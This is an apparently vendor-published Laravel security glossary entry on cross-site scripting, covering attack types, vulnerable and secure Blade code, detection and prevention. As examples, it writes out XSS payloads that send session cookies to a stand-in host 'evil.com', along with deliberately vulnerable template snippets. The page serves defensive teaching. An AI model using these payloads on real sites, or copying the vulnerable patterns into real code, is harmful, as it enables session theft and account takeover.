What Is Cross-Site Scripting (XSS)?
A vulnerability where an attacker injects malicious JavaScript into web pages viewed by other users. The injected script runs in the victim's browser with the same privileges as legitimate scripts, allowing the attacker to steal session tokens, redirect users, or modify page content.
How It Works
XSS injects executable JavaScript into a web page that other users view, running attacker code in victim browsers at the full privilege level of the legitimate site.
Step 1: Finding an injection point — The attacker looks for inputs that appear in HTML output. They search Blade templates for {!! !!} usage (unescaped output), check API responses that render in a JavaScript SPA, and look for PHP variables interpolated directly into <script> blocks. Comment sections, user profile bios, search result headings, and product descriptions are common injection points.
Step 2: Context identification — The execution context determines the payload format. In an HTML context (<div>{!! $name !!}</div>), the payload uses tags: <script>alert(1)</script> or <img src=x onerror=alert(1)>. In an attribute context (<input value="{!! $val !!}">), the payload breaks out of the attribute: " onmouseover="alert(1). In a JavaScript context (var name = '{{ $name }}';), the payload breaks out of the string literal: '; fetch('https://evil.com?c='+document.cookie)//.
Step 3: Payload delivery — For reflected XSS, the attacker crafts a URL containing the payload and sends it to the victim via phishing email or social media. When the victim clicks the link, their browser requests the page, the server reflects the payload in the response, and the browser executes it. For stored XSS, the attacker submits the payload as legitimate input (a comment, bio, or message) that is saved to the database and rendered when other users view the content.
Step 4: Script execution — The browser encounters the injected script in the HTML response and executes it at the security origin of the target site. The script now has access to everything on that origin: document.cookie (session tokens), localStorage, sessionStorage, the full DOM (including forms and their values), and the ability to make authenticated fetch requests to the server.
Step 5: Impact — Common XSS payloads exfiltrate session cookies to steal the victim's login session, replace the login form's action attribute to capture credentials as they are typed, redirect the user to a phishing page, or silently perform actions on the server using the victim's authenticated session.
Types of Cross-Site Scripting (XSS)
Reflected XSS
Malicious script is embedded in a URL parameter, reflected in the HTTP response, and executes when the victim clicks the crafted link. Does not persist in the database.
<!-- Attacker sends victim this URL: -->
https://yourapp.com/search?q=<script>document.location='https://evil.com?c='+document.cookie</script>
Stored XSS
Attacker saves a malicious script in the database (via a comment, bio, or message) and it executes in the browser of every user who views that content. Most dangerous variant.
<!-- Attacker saves this as their user bio:
<script>new Image().src="https://evil.com/steal?c="+document.cookie</script>
Every visitor to that profile page is attacked -->
DOM-Based XSS
JavaScript reads attacker-controlled data (URL hash, query parameter) and writes it to the DOM without sanitization — the server is never involved and cannot detect or prevent this variant.
// Vulnerable JavaScript — reads URL hash and writes to DOM
document.getElementById("output").innerHTML = location.hash.slice(1);
// Attacker URL: https://yourapp.com/page#<img src=x onerror=alert(1)>
XSS in JavaScript Context
A PHP variable is interpolated into a JavaScript string literal. Even Blade's `{{ }}` escaping does not protect this context because the attacker can break out of the string with a single quote.
// Vulnerable: {{ }} escapes HTML but not JS string context
<script>var search = '{{ $query }}';</script>
// Attacker submits: '; fetch('https://evil.com?c='+document.cookie)//
In Laravel Applications
Laravel's Blade templating engine escapes output by default with {{ }}, which prevents most XSS attacks. XSS vulnerabilities are introduced when developers use {!! !!} (unescaped output) with user-supplied input, or when rendering user content in JavaScript contexts.
Code Examples
Unescaped vs. Escaped Blade Output
Vulnerable
{{-- VULNERABLE: {!! !!} renders raw HTML -- any script tags execute --}}
<div class="user-bio">
{!! $user->bio !!}
</div>
{{-- Also vulnerable: PHP variable in script context --}}
<script>
var userName = '{{ $user->name }}';
// Attacker submits name: ' ; fetch(evil.com?c=+document.cookie) //
</script>
Secure
{{-- SECURE: {{ }} HTML-encodes all output, making tags harmless text --}}
<div class="user-bio">
{{ $user->bio }}
</div>
{{-- SECURE for JS context: use json_encode with HEX_TAG flag --}}
<script>
var userName = {!! json_encode($user->name, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT) !!};
</script>
{{-- For legitimate rich text (WYSIWYG): sanitize with HTMLPurifier --}}
<div class="user-bio">
{!! clean($user->bio) !!} {{-- clean() from mews/purifier package --}}
</div>
Real-World Example
Using {!! $user->bio !!} in a Blade template is vulnerable to XSS if the user has entered <script>document.location="https://evil.com?c="+document.cookie</script> as their bio.
Why It Matters
XSS vulnerabilities allow attackers to run arbitrary JavaScript in your users' browsers. The consequences range from session cookie theft (complete account takeover) to form replacement (stealing credentials as users type them) to silent redirection to phishing sites. Modern XSS attacks are sophisticated and hard to detect by affected users.
Laravel's Blade templating engine escapes output by default with the {{ }} syntax, which prevents the vast majority of XSS attacks. The danger is that developers learn to reach for {!! !!} for legitimate use cases (rendering HTML from a WYSIWYG editor, for example) and then accidentally use it in unsafe contexts. A single {!! $user->bio !!} in a profile template is enough to compromise every user who views that profile.
Stored XSS — where the malicious script is saved in the database and executed when other users view the content — is the most dangerous variant. An attacker who can store XSS in a comment, profile bio, or product description can attack every user who views that content, potentially including administrators.
The Content-Security-Policy header provides a second line of defense. With a properly configured CSP that blocks inline scripts and only allows scripts from trusted sources, even a successful XSS injection may fail to execute because the browser refuses to run the injected code.
Common Misconceptions
Myth: We use Blade's {{ }} everywhere, so we are not vulnerable to XSS.
Reality: XSS vulnerabilities also exist in JavaScript contexts — if you output PHP variables into JavaScript with `var name = '{{ $name }}'`, an attacker can inject `'; alert(1) //` which `{{ }}` does not protect against.
Myth: XSS only affects the user who triggered the injection.
Reality: Stored XSS affects every user who views the page containing the injected content. A single stored XSS in a comment section affects every visitor, not just the attacker.
Myth: We sanitize input on the way in, so XSS is not possible.
Reality: Input sanitization is incomplete defense — context determines what is safe. The correct approach is output escaping at render time, in the context where the data is used (HTML, JavaScript, URL, and CSS each require different escaping).
How to Detect This
Search your codebase for unescaped output with `grep -rn "{!!" resources/views/` to find every usage of raw HTML output in Blade templates. Each one is a potential XSS vector that needs review. For JavaScript context XSS, search for PHP variables interpolated into script tags: `grep -rn "<script" resources/views/`. Run OWASP ZAP's active scan against your staging application to automatically probe for reflected XSS in form inputs and URL parameters. StackShield checks your response headers for a `Content-Security-Policy` that would mitigate XSS. In your browser developer tools, check the Console for CSP violation reports, which indicate XSS attempts that were blocked.
How to Prevent This in Laravel
-
1
Run `grep -rn "{!!" resources/views/` and audit every result — replace with `{{ }}` for plain text, or add HTMLPurifier via `composer require mews/purifier` for legitimate rich text rendering.
-
2
Never interpolate PHP variables directly into `<script>` blocks with `{{ }}` — use `json_encode($var, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT)` which is safe in JavaScript string contexts.
-
3
Implement `Content-Security-Policy` header via middleware or `spatie/laravel-csp` — a properly configured CSP that disallows inline scripts blocks XSS execution even when injection occurs.
-
4
For WYSIWYG editor output, install `composer require mews/purifier` and call `clean($html)` before rendering with `{!! !!}` — HTMLPurifier strips dangerous tags while preserving safe formatting HTML.
-
5
Use OWASP ZAP baseline scan against staging on every pull request to automatically detect reflected XSS in form inputs and query parameters before merging.
Frequently Asked Questions
Does Blade's `{{ }}` protect against all XSS vulnerabilities?
Blade's `{{ }}` protects against XSS in HTML contexts by calling PHP's `htmlspecialchars()`, converting `<`, `>`, `"`, and `'` into HTML entities. However, it does NOT protect when PHP variables are interpolated into JavaScript string literals (`<script>var x = '{{ $var }}'</script>`) because the attacker can break out of the string with a single quote. Use `json_encode()` with appropriate flags for JavaScript contexts.
What about XSS in Vue.js or React components rendered by Laravel?
Vue.js `{{ }}` and React JSX variable interpolation (`{variable}`) both HTML-encode output by default, providing the same protection as Blade's `{{ }}`. The dangerous equivalents are Vue's `v-html` directive and React's `dangerouslySetInnerHTML` — both render raw HTML and must only be used with sanitized content. If you pass Blade data to a Vue or React component via a JSON-encoded prop, ensure the JSON encoding uses `JSON_HEX_TAG` to prevent script injection in the JSON itself.
How do I safely render HTML that users have submitted (WYSIWYG content)?
Install `composer require mews/purifier` (an HTMLPurifier wrapper for Laravel), configure it in `config/purifier.php` with an allowlist of safe HTML tags and attributes, and call `clean($userHtml)` before rendering with `{!! !!}`. Never disable purification and never use blocklist approaches (trying to filter dangerous tags) — HTMLPurifier's allowlist approach is the only reliable method for user-submitted HTML.
Does a Content-Security-Policy fully prevent XSS?
A strict CSP significantly reduces XSS impact by blocking script execution from untrusted sources, but it does not fully prevent all XSS. CSP bypasses exist when the policy allows `'unsafe-inline'`, has overly broad source patterns (`*.yourapp.com`), or permits dangerous origins (a CDN that serves user-controlled content). Use CSP as a defense-in-depth layer alongside output escaping and input sanitization — not as a substitute for them.
Related Terms
Cross-Site Request Forgery (CSRF)
An attack where a malicious website tricks a user's browser into performing an unwanted action on a site where the user is authenticated. The browser automatically sends cookies with the request, so the target site processes it as a legitimate action from the user.
Security Headers
HTTP response headers that instruct browsers how to handle your website's content securely. They protect against common attacks like cross-site scripting (XSS), clickjacking, and protocol downgrade attacks by telling the browser what actions are allowed.
OWASP (Open Worldwide Application Security Project)
A nonprofit foundation that produces freely available tools, documentation, and standards for web application security. OWASP is best known for the OWASP Top 10, a list of the ten most critical web application security risks, updated every few years based on real-world data.
Related Articles
ISO 27001 for Laravel Applications: Controls, Annex A, and What Developers Must Implement
ISO 27001:2022 defines 93 Annex A controls across four domains. This guide maps the technological controls that directly affect Laravel developers to specific implementations: access control, authentication, logging, cryptography, secure development, and continuous monitoring.
Laravel XSS Protection: Blade, Livewire, and Raw Output
Cross-site scripting bypasses Laravel's default escaping more often than you think. Cover Blade's triple-brace pitfall, Livewire injection, and raw HTML output.
Security Headers for SOC 2 and ISO 27001: What Laravel Teams Need to Know
SOC 2 and ISO 27001 audits increasingly flag missing or misconfigured security headers. Learn which headers auditors look for, how to implement them in Laravel middleware, and how to monitor compliance continuously.
Monitor Your Laravel Application's Security
StackShield continuously checks your Laravel application from the outside, catching security issues before attackers find them.
Start Free Trial